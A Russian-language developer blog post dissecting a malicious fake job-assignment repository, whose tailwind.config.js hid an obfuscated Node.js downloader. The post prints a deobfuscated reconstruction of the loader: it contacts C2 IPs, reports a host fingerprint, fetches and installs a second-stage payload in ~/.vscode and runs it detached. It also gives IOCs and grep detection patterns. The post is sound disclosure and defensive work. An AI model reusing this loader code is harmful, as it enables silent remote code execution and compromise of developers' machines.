TL;DR:
В GitHub-репозитории для тестового задания был вредоносный код, спрятанный в tailwind.config.js. Сначала файл выглядел как обычный Tailwind-конфиг, но в конце была длинная обфусцированная JS-строка. При загрузке конфига код подключал fs, os, request, path, node:process и child_process, связывался с C2 на 78.142.218.26:1244 или 66.235.168.17:1244, отправлял минимальный фингерпринт машины, скачивал второй payload в ~/.vscode/f.js, создавал ~/.vscode/package.json, выполнял npm install и запускал payload в фоне через node/nohup. Иными словами, это был не обычный тестовый проект, а loader/downloader, замаскированный под frontend-задание.
Социальная часть
В LinkedIn мне написал некто, представившийся как Renz Andrey Barrion, с предложением работы. Страница уже удалена. Немного смутила подпись: «Project Manager at Bext360» (не утверждаю, что Bext360 причастна к нижеизложенному). Показалось странным, что пишет проджект, а не HR. Но да ладно, мало ли какие процедуры найма могут быть.
Renz сообщил, что в его компанию требуется Senior Front End Developer на неплохих условиях. Я скинул резюме, он расспросил об опыте, подробно описал процесс найма и предложил пройти тестовое, с чем я согласился – в последнее время какой-то ренессанс тестовых. Ренц скинул ссылку на https://github.com/Stash-Home/Home-assignment-u (тоже уже удалена).
При скачивании я обратил внимание на размер репозитория – больше 5 мегабайт, что как бы очень много для репы с тестовым заданием (понятно, что могут быть изображения, но все равно). Дополнительно удивило отсутствие форков: обычно тестовые репозитории форкаются кандидатами. Отсутствие форков нетипично для таких репозиториев.
Начал разбираться и обнаружил вот что.
На последней строчке tailwind.config.js была замаскированная большим количеством пробелов обфусцированная строка:
const a0ag=a0a1,a0ah=a0a1,...
Интересно, что же это такое?
Как устроена обфускация
В начале был массив base64-строк:
function a0a0() {
const bm = ['AM9PBG','ywnisNy','wgDkCKO', ...]
...
}
Далее массив циклически сдвигался до тех пор, пока выражение с parseInt(...) не даст нужное число:
(function(a0,a1){
const a2 = a0();
while (!![]) {
try {
const a3 = ...;
if (a3 === a1) break;
else a2.push(a2.shift());
} catch {
a2.push(a2.shift());
}
}
}(a0a0, 0x7e0c4));
Цель этого – запутать соответствие индексов и строк.
Затем функция a0a1(...) достаёт строку из массива и декодирует её, что упрощённо выглядит так:
function decodeFromStringTable(index) {
const shiftedIndex = index - 0x113;
const encoded = stringTable[shiftedIndex];
return base64DecodeURIComponent(encoded);
}
И мы получаем, например:
a0a1(0x137) => "utf8"
a0a1(0x182) => "base6"
a0a1(0x171) => "from"
a0a1(0x125) => "toStr"
a0a1(0x126) => "ing"
И потом собираем это:
Buffer.from(..., 'base64').toString('utf8')
Ещё один декодер отрезает первый мусорный символ, а остаток декодирует как base64:
function n(value) {
const withoutFirstChar = value.slice(1);
return Buffer.from(withoutFirstChar, 'base64').toString('utf8');
}
Например:
n('ab3M') => 'os'
n('bZnM') => 'fs'
n('DcmVxdWVzdA') => 'request'
n('NcGF0aA') => 'path'
n('Xbm9kZTpwc...') => 'node:process'
n('4Y2hpbGRf') + n('acHJvY2Vzcw') => 'child_process'
Некоторые строки спрятаны как массивы чисел и к ним применяется XOR с ключом:
const S = [0x70, 0xa0, 0x89, 0x48];
function U(arr) {
let result = '';
for (let i = 0; i < arr.length; i++) {
result += String.fromCharCode((arr[i] ^ S[i & 3]) & 0xff);
}
return result;
}
что даёт после расшифровки:
U([0x5e,0xd6,0xfa,0x2b,0x1f,0xc4,0xec]) => ".vscode"
U([0x16,0x8e,0xe3,0x3b]) => "f.js"
U([0x0,0xc1,0xea,0x23,0x11,0xc7,0xec,0x66,0x1a,0xd3,0xe6,0x26])
=> "package.json"
U([0x5f,0xc6,0xa6]) => "/f/"
U([0x5f,0xd0]) => "/p"
U([0x13,0xc4]) => "cd"
U([0x56,0x86,0xa9,0x26,0x0,0xcd,0xa9,0x21,0x50,0x8d,0xa4,0x3b,0x19,0xcc,0xec,0x26,0x4])
=> "&& npm i --silent"
U([0x1e,0xd0,0xe4,0x68,0x5d,0x8d,0xf9,0x3a,0x15,0xc6,0xe0,0x30])
=> "npm --prefix"
U([0x1e,0xcf,0xed,0x2d,0x2f,0xcd,0xe6,0x2c,0x5,0xcc,0xec,0x3b])
=> "node_modules"
U([0x1e,0xcf,0xe1,0x3d,0x0]) => "nohup"
После деобфускации ключевая часть выглядит примерно так:
const os = require('os');
const fs = require('fs');
const request = require('request');
const path = require('path');
const process = require('node:process');
const child_process = require('child_process');
const homeDir = os.homedir();
const hostname = os.hostname();
const platform = os.platform();
const userInfo = os.userInfo();
const primaryC2 = 'http://78.142.218.26:1244';
const fallbackC2 = 'http://66.235.168.17:1244';
const campaignId = '90284f6b7643';
Упрощённый псевдокод вредоноса
Это упрощённая реконструкция логики (C2 в тексте это "Command and Control", то есть сервер командования и управления):
/**
* Entry point вредоносного кода.
*
* Инициализирует timestamp текущего запуска и начинает первый этап связи
* с управляющим сервером.
*
* В оригинальном коде эта функция вызывается сразу при загрузке
* `tailwind.config.js`, то есть во время dev/build процесса.
*
* Поведение:
* 1. Сохраняет время запуска.
* 2. Пытается связаться с основным C2-сервером.
* 3. При ошибке дальше сработает fallback-логика.
*
* @returns {void}
*/
function main() {
timestamp = Date.now().toString();
tryHandshake(0);
}
/**
* Пытается выполнить первичный handshake с сервером.
*
* Функция отправляет GET-запрос на `/s/<campaignId>`.
* Первый вызов идёт на основной сервер. Если основной сервер недоступен,
* код пробует fallback.
*
* Этот этап нужен вредоносу, чтобы получить актуальный адрес сервера
* и тип payload, который нужно скачать.
*
* @param {number} index
* Индекс сервера в списке.
* `0` — основной сервер.
* `1` — fallback-сервер.
*
* @returns {void}
*/
function tryHandshake(index) {
const url = `${C2[index]}/s/${campaignId}`;
request.get(url, (error, response, body) => {
if (error) {
if (index < 1) {
tryHandshake(1);
}
return;
}
if (!parseServerResponse(body)) {
return;
}
reportHost();
downloadAndRunPayload();
});
}
/**
* Разбирает ответ C2-сервера после handshake-запроса.
*
* Оригинальный код ожидает, что ответ начинается с маркера `ZT3`.
* Всё, что идёт после `ZT3`, декодируется из base64.
*
* После декодирования вредонос ожидает строку примерно такого формата:
*
* `<host>,<type>`
*
* Где:
* - `host` — актуальный C2-host, с которого дальше будут скачиваться payload и package.json.
* - `type` — идентификатор или вариант payload.
*
* Если формат ответа не подходит, функция возвращает `false`,
* и дальнейшее выполнение прекращается.
*
* @param {string} body
* Тело HTTP-ответа.
*
* @returns {boolean}
* `true`, если ответ успешно разобран и глобальные значения `baseUrl` и `type` установлены.
* `false`, если ответ не похож на ожидаемый C2-ответ.
*/
function parseServerResponse(body) {
if (!body.startsWith('ZT3')) {
return false;
}
const encoded = body.slice(3);
const decoded = Buffer.from(encoded, 'base64').toString('utf8');
const parts = decoded.split(',');
baseUrl = `http://${parts[0]}:1244`;
type = parts[1];
return true;
}
/**
* Отправляет информацию о заражённой машине на сервер злоумышленников.
*
* Функция делает POST-запрос на `/keys` и передаёт набор данных,
* по которым оператор вредоноса может идентифицировать машину и контекст запуска.
*
* В отправляемые данные входят:
* - timestamp запуска;
* - тип payload, полученный от C2;
* - hostname;
* - username на macOS;
* - путь или аргумент процесса, из которого был запущен код.
*
* Название `/keys` может вводить в заблуждение: по поведению это больше похоже
* на регистрацию infected host/beaconing, а не обязательно на отправку
* криптографических ключей.
*
* @returns {void}
*/
function reportHost() {
let hostId = hostname;
if (platform[0] === 'd') {
hostId = `${hostId}+${userInfo.username}`;
}
let commandContext = '5A1';
try {
commandContext += process.argv[1];
} catch {}
request.post({
url: `${baseUrl}/keys`,
formData: {
ts: timestamp,
type,
hid: hostId,
ss: 'oqr',
cc: commandContext,
},
});
}
/**
* Скачивает второй этап вредоноса и готовит его к запуску.
*
* Функция создаёт директорию `~/.vscode`, если её ещё нет.
* Затем скачивает JS-payload с C2 и сохраняет его как `f.js`.
*
* Использование `~/.vscode` выглядит как попытка маскировки:
* такая папка может показаться разработчику нормальной частью окружения
* VS Code/Cursor.
*
* Если создать `~/.vscode` не удалось, код использует домашнюю директорию
* пользователя как fallback.
*
* @returns {void}
*/
function downloadAndRunPayload() {
let targetDir = path.join(homeDir, '.vscode');
try {
fs.mkdirSync(targetDir, { recursive: true });
} catch {
targetDir = homeDir;
}
const payloadPath = path.join(targetDir, 'f.js');
try {
fs.rmSync(payloadPath);
} catch {}
request.get(`${baseUrl}/f/${type}`, (error, response, body) => {
if (error) return;
try {
fs.writeFileSync(payloadPath, body);
} catch {}
downloadPackageJson(targetDir);
});
}
/**
* Скачивает `package.json` для созданного вредоносом локального npm-проекта.
*
* После скачивания `f.js` вредонос также скачивает `package.json`
* с C2 endpoint `/p`.
*
* Это нужно для установки зависимостей, которые потребуются скачанному payload.
* То есть вредонос создаёт отдельный npm-проект внутри `~/.vscode`.
*
* В оригинальной логике есть сравнение размера:
* если уже существующий `package.json` меньше нового тела ответа,
* файл перезаписывается.
*
* @param {string} targetDir
* Директория, куда ранее был сохранён `f.js`.
* Обычно это `~/.vscode`.
*
* @returns {void}
*/
function downloadPackageJson(targetDir) {
const packagePath = path.join(targetDir, 'package.json');
let oldSize = 0;
if (fs.existsSync(packagePath)) {
try {
oldSize = fs.statSync(packagePath).size;
} catch {}
}
request.get(`${baseUrl}/p`, (error, response, body) => {
if (error) return;
try {
if (body.length > oldSize) {
fs.writeFileSync(packagePath, body);
}
} catch {}
installDependencies(targetDir);
});
}
/**
* Запускает установку npm-зависимостей для скачанного payload.
*
* Функция выполняет команду вида:
*
* `cd "<targetDir>" && npm i --silent`
*
* Это означает, что вредонос пытается установить зависимости
* из скачанного `package.json` без явного вывода в консоль.
*
* Флаг `windowsHide: true` на Windows скрывает окно процесса,
* что является дополнительным признаком скрытного поведения.
*
* После завершения установки вызывается проверка `node_modules`
* и запуск payload.
*
* @param {string} targetDir
* Директория локального npm-проекта, созданного вредоносом.
*
* @returns {void}
*/
function installDependencies(targetDir) {
child_process.exec(
`cd "${targetDir}" && npm i --silent`,
{ windowsHide: true },
() => {
ensureNodeModulesAndRun(targetDir);
},
);
}
/**
* Проверяет наличие `node_modules` и при необходимости повторяет установку зависимостей.
*
* Если после первой команды `npm i --silent` директория `node_modules`
* не появилась, вредонос запускает альтернативную команду:
*
* `npm --prefix "<targetDir>" i`
*
* Это повышает шанс успешной установки зависимостей в разных окружениях.
*
* Если `node_modules` уже существует или повторная установка завершилась,
* функция переходит к запуску payload.
*
* @param {string} targetDir
* Директория, где лежат `f.js`, `package.json` и потенциальный `node_modules`.
*
* @returns {void}
*/
function ensureNodeModulesAndRun(targetDir) {
const nodeModules = path.join(targetDir, 'node_modules');
if (!fs.existsSync(nodeModules)) {
child_process.exec(
`npm --prefix "${targetDir}" i`,
{ windowsHide: true },
() => runPayload(targetDir),
);
} else {
runPayload(targetDir);
}
}
/**
* Запускает скачанный `f.js` как отдельный фоновый процесс.
*
* Поведение отличается по платформам:
*
* На Windows:
* - запускается текущий Node.js runtime через `process.execPath`;
* - аргументом передаётся `f.js`;
* - рабочая директория — `targetDir`;
* - окно процесса скрывается через `windowsHide: true`;
* - stdio игнорируется.
*
* На Linux/macOS:
* - используется `nohup`;
* - процесс запускается detached;
* - stdin/stdout/stderr перенаправляются в ignore или `/dev/null`;
* - после `unref()` процесс отвязывается от родителя.
*
* Итог: payload может продолжить работу даже после завершения npm/build-процесса,
* который изначально загрузил `tailwind.config.js`.
*
* @param {string} targetDir
* Директория, из которой будет запущен `f.js`.
*
* @returns {void}
*/
function runPayload(targetDir) {
if (platform[0] === 'w') {
const child = child_process.spawn(
process.execPath,
['f.js'],
{
cwd: targetDir,
stdio: 'ignore',
windowsHide: true,
},
);
child.unref();
} else {
const child = child_process.spawn(
'nohup',
[process.execPath, 'f.js'],
{
cwd: targetDir,
detached: true,
stdio: ['ignore', '/dev/null', '/dev/null'],
},
);
child.unref();
}
}
Что же тут происходит?
Сначала делается запрос на:
http://78.142.218.26:1244/s/90284f6b7643
// фоллбек на
http://66.235.168.17:1244/s/90284f6b7643
После декодирования ожидается строка вида:
<host>,<type>
Условно
example.com,abc
Тогда вредонос строит:
http://example.com:1244
И сохраняет
type = "abc"
Информация о жертве отправляется на:
http://<host>:1244/keys
С примерно такими данными:
{
ts: Date.now().toString(), // timestamp запуска
type: typeFromServer, // тип/идентификатор payload, полученный от C2
hid: hostnameOrHostnamePlusUsername, // host identifier
ss: 'oqr', // константа "oqr", вероятно, маркер кампании или версии
cc: '5A1' + process.argv[1] // строка "5A1" + путь к текущему скрипту/процессу
}
Интересный момент:
if (platform[0] === 'd') {
hid = hostname + '+' + username;
}
os.platform() возвращает:
win32
linux
darwin
То есть username добавляется именно для macOS (darwin).
Затем происходит попытка создать директорию:
~/.vscode
А если не получается, используется просто домашняя папка:
let targetDir = path.join(os.homedir(), '.vscode');
try {
fs.mkdirSync(targetDir, { recursive: true });
} catch {
targetDir = os.homedir();
}
Почему .vscode? Это хороший выбор для атаки. Такая папка выглядит привычно для разработчика и не бросается в глаза рядом с расширениями VS Code или Cursor.
Затем происходит скачивание:
http://<host>:1244/f/<type>
И payload записывается в ~/.vscode/f.js.
Затем данные с http://<host>:1244/p скачиваются и записываются в ~/.vscode/package.json.
Далее устанавливаются зависимости:
cd "~/.vscode" && npm i --silent
npm --prefix "~/.vscode" i
Это важно: код не просто скачивает f.js, а ещё и подготавливает отдельный npm-проект внутри домашней папки пользователя. То есть создаётся самостоятельный Node.js-проект вне репозитория. Даже если потом удалить папку с тестовым заданием, ~/.vscode/f.js и ~/.vscode/node_modules могут остаться в домашней папке. При этом основная логика вредоноса находится уже не в исходном репозитории, а в файле, скачанном на втором этапе.
Затем payload запускается в фоне:
// на Windows
child_process.spawn(process.execPath, ['f.js'], {
cwd: targetDir,
stdio: 'ignore',
windowsHide: true,
});
// на Linux/MacOs
child_process.spawn('nohup', [process.execPath, 'f.js'], {
cwd: targetDir,
detached: true,
stdio: ['ignore', '/dev/null', '/dev/null'],
});
И после этого процесс отвязывается от родительского процесса и продолжает жить отдельно:
child.unref();
Есть небольшой интервал (10 минут 16 секунд), с которым вредонос пытается скачать данные, если сервер временно недоступен. Через несколько попыток интервал очищается.
Что же отправляется?
Кажется, что отправляется не так много. os.userInfo() возвращает примерно такой объект:
{
username: "john",
uid: 1000,
gid: 1000,
shell: "/bin/bash",
homedir: "/home/john"
}
Но на первом этапе используется только userInfo.username, и то только если платформа macOS. На Linux/Windows username не добавляется.
И хотя код отправляет не так много, сервер всё равно видит сетевые метаданные:
-
source IP address;
-
время подключения;
-
порт назначения;
-
HTTP path;
-
возможные HTTP headers от Node request library.
Кроме того, первый handshake идёт на GET /s/90284f6b7643, что позволяет понять, из какого репозитория пришёл запуск.
На первом этапе нет прямого чтения SSH-ключей, .env-файлов, cookies, browser profiles, GitHub tokens или содержимого проектов. Но он скачивает f.js, внутри которого, по-видимому, и будет содержаться основная вредоносная логика.
Иными словами, видимый код в tailwind.config.js – это не полноценный похититель данных, а загрузчик. Он отправляет минимальный фингерпринт машины и запускает второй этап, который уже может выполнить основной сбор данных.
Что ещё было подозрительно в репозитории?
В package.json были такие зависимости:
"child_process": "^1.0.2",
"crypto": "^1.0.1",
"fs": "^0.0.1-security",
"path": "^0.12.7"
Это core-модули Node.js. В нормальном проекте их не ставят из npm.
Какие выводы и уроки?
Никогда не запускайте чужой проект сразу. Опасными могут быть даже:
npm install
npm ci
yarn
pnpm install
Перед запуском попробуйте поискать опасные паттерны:
grep -RInE
"child_process|execSync|spawn|eval(|Function(|atob(|Buffer.from|curl|wget|powershell|EncodedCommand|nohup|/dev/null|.vscode|AppData|os.homedir|os.userInfo|request(|fetch(|http://|https://"
.
--exclude-dir=node_modules
--exclude-dir=.git
--exclude-dir=dist
--exclude-dir=build
Проверяйте package.json на подозрительные зависимости:
"preinstall": "...",
"install": "...",
"postinstall": "...",
"prepare": "...",
"child_process": "...",
"fs": "...",
"path": "...",
"crypto": "..."
Как уже говорилось, это core-модули Node.js, в нормальном проекте они не должны быть npm-зависимостями.
Устанавливайте зависимости только с отключёнными lifecycle-скриптами:
npm ci --ignore-scripts
npm install --ignore-scripts
pnpm install --ignore-scripts
yarn install --ignore-scripts
Но помните, флаг --ignore-scripts защищает только от npm lifecycle-скриптов. Он не защитит, если потом вы запускаете npm run dev, а dev-сервер загружает вредоносный tailwind.config.js, vite.config.js, webpack.config.js, nuxt.config.ts и т.д. Не забывайте, что эти конфиги – это не просто JSON-настройки. Это JS/TS-код, который выполняется Node.js во время dev/build. Поэтому вредонос в таком файле может выполниться без отдельного явного запуска.
Вообще, лучше запускать чужие проекты на отдельной виртуальной машине или отдельном WSL в изолированной среде.
Не открывайте чужой проект в IDE сразу в доверенном режиме, а помечайте его как untrusted.
Можно сделать в чужом проекте быстрый поиск IP/URL, так как их наличие в config-файлах, особенно на нестандартных портах – это сильный красный флаг:
rg -n
"https?://|[0-9]{1,3}(.[0-9]{1,3}){3}|localhost|127.0.0.1|webhook|telegram|discord|ngrok|pastebin|gist|raw.githubusercontent"
-g '!node_modules'
-g '!.git'
Критически оцените GitHub-аккаунт, с которого качаете. На странице https://github.com/Stash-Home виден странный набор проектов: serenity, typst, fontations, zune-image, blend2d-apps, cmap-resources, covbot, learning-php и т.д. Многие из них выглядят как копии известных open-source проектов, а не как собственные проекты. Например, serenity описан как “The Serenity Operating System”, содержит 66 605 коммитов, но у него аж целых 0 звёзд и 0 форков. Это должно вас насторожить.
Я не могу утверждать, был ли аккаунт Stash-Home изначально создан злоумышленником или был скомпрометирован. Но публичные признаки выглядят подозрительно: много копий известных проектов, нулевая социальная активность, следы однотипных automated update-коммитов.
Ну и обращайте внимание на размер скачанного репозитория :-)
Ну а если вы всё же запустили такой проект, то:
-
Отключите интернет или закройте подозрительные процессы;
-
Проверьте
~/.vscode/f.jsи~/.vscode/package.json; -
Проверьте процессы node/npm/powershell/cmd;
-
Проверьте автозапуск и scheduled tasks;
-
Смените токены, которые могут быть доступны: GitHub, GitLab, npm, SSH, cloud credentials и т.д.;
-
Запустите полную проверку антивирусом/защитником.
P.S. На всякий случай вот хэши архива репозитория и файла конфига:
Archive SHA256:
4ab54628c32954056033146013ec962fa3e52a1f261f69ce526c71793a6d6e13
tailwind.config.js SHA256:
b19ed4f3161fdf569309272fff3fa3fbf46eab7a142b314244a363a1d552f4de
C2:
78.142.218.26:1244
66.235.168.17:1244
Paths:
~/.vscode/f.js
~/.vscode/package.json
P.P.S. Пользуясь случаем, хочу сказать то, что касается нас как сообщество разработчиков. Тестовые задания – это зло и пережиток царского прошлого. Сегодня они почти ничего не позволяют оценить. Они отнимают наше время, которое мы могли бы потратить на собственные проекты и развитие. То, что я согласился выполнить это тестовое, меня не красит. Впрочем, я его и не выполнил. И чем больше мы, разработчики, будем отказываться выполнять тестовые задания, тем быстрее эта порочная практика окончательно уйдёт в прошлое. ИМХО, бойкот тестовых заданий – это благо для нас как для профессионального сообщества.
Автор: SaggyA
